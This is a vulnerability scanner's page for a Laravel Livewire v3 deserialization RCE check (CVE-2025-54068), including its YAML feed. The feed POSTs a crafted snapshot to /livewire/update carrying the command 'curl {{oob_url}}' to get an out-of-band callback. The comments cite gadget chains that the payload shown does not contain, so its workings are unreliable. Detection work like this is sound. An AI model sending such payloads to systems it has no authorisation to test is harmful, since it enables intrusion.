Livewire — 1 vulnerability check

noctis ships 1 vulnerability check for Livewire, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Laravel Livewire v3 Unauthenticated Deserialization RCE

CVECVE-2025-54068
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/livewire/CVE-2025-54068.yaml

Tests for CVE-2025-54068: Livewire v3 before 3.6.4 deserializes client-submitted component snapshots without HMAC validation, allowing unauthenticated RCE via PHP gadget chains submitted to /livewire/update.

How noctis detects it

  1. HTTP(S) request GET /
  2. Checks home_resp.body for wire:snapshot=
  3. Checks home_resp.body for livewire\.js\?v=3\.6\.[0-3](?:\.\d+)? → finding QoD 50: Livewire v3 <3.6.4 fingerprint: vulnerable version confirmed in homepage (livewire.js version tag)
  4. HTTP(S) request POST /livewire/update with a crafted body
  5. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OOB callback received — Livewire v3 deserialization RCE confirmed (CVE-2025-54068)

References:

Feed source — tests/vulnerabilities/livewire/CVE-2025-54068.yaml
# Laravel Livewire v3 Unauthenticated Deserialization RCE — CVE-2025-54068
#
# Livewire v3 before 3.6.4 deserializes component snapshots submitted by the
# client without adequate integrity validation. An unauthenticated attacker can
# craft a malicious snapshot that abuses PHP gadget chains (BroadcastEvent,
# GuzzleHTTP FnStream, SerializableClosure) to invoke system() with an arbitrary
# command. Detection uses OOB callback from a curl command in the payload.
#
# Detection:
#   Step 1 — Fingerprint Livewire v3 (wire:snapshot= + data-update-uri= in body)
#   Step 2 — OOB: POST deserialization payload to /livewire/update → curl oob_url
#   Step 3 — wait_oob: callback received → confirmed RCE (QoD 97)
uid: ea2e8514-3135-42ed-a3f5-455944525cea
name: "Laravel Livewire v3 Unauthenticated Deserialization RCE"
description: |
  Tests for CVE-2025-54068: Livewire v3 before 3.6.4 deserializes client-submitted
  component snapshots without HMAC validation, allowing unauthenticated RCE via
  PHP gadget chains submitted to /livewire/update.
cves: [CVE-2025-54068]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [laravel, livewire, php, deserialization, rce, oob, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2025-54068"
  - "https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3"
  - "https://www.synacktiv.com/en/publications/livewire-remote-code-execution-through-unmarshaling"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"

steps:
  - id: init-vars
    action: set_var
    var_name: livewire_detected
    var_value: false

  - id: init-vars-2
    action: set_var
    var_name: livewire_vuln_confirmed
    var_value: false

  - id: homepage-probe
    action: http_request
    method: GET
    path: /
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    store_as: home_resp

  # Step 1: confirm Livewire v3 is present (sets flag, no finding yet)
  - id: livewire-identity
    action: match
    source: home_resp.body
    pattern: 'wire:snapshot='
    condition: "home_resp.status == 200"
    on_match:
      set_vars:
        livewire_detected: true

  # Step 2: confirm vulnerable version (<3.6.4) via livewire.js asset version tag
  - id: livewire-version-check
    action: match
    source: home_resp.body
    pattern: 'livewire\.js\?v=3\.6\.[0-3](?:\.\d+)?'
    condition: "livewire_detected == true"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 50
        evidence: "Livewire v3 <3.6.4 fingerprint: vulnerable version confirmed in homepage (livewire.js version tag)"
      set_vars:
        livewire_vuln_confirmed: true

  # OOB: send deserialization payload with curl {{oob_url}} to /livewire/update
  # Guarded by oob_enabled — body interpolation of {{oob_url}} only happens when OOB is active.
  - id: rce-payload-oob
    action: http_request
    method: POST
    path: /livewire/update
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    headers:
      Content-Type: "application/json"
      X-CSRF-TOKEN: "noctis-probe-token"
    body: '{"_token":"noctis-probe-token","components":[{"snapshot":"{\"data\":{},\"memo\":{\"id\":\"noctis\",\"name\":\"counter\",\"path\":\"counter\",\"method\":\"GET\",\"children\":[],\"scripts\":[],\"assets\":[],\"errors\":[],\"locale\":\"en\"},\"checksum\":\"invalid\"}","updates":{},"calls":[{"path":"","method":"__invoke","params":["curl {{oob_url}}"]}]}]}'
    condition: "livewire_vuln_confirmed == true && oob_enabled"
    store_as: oob_resp

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "livewire_vuln_confirmed == true && oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "OOB callback received — Livewire v3 deserialization RCE confirmed (CVE-2025-54068)"
      stop: true

View these feeds on GitHub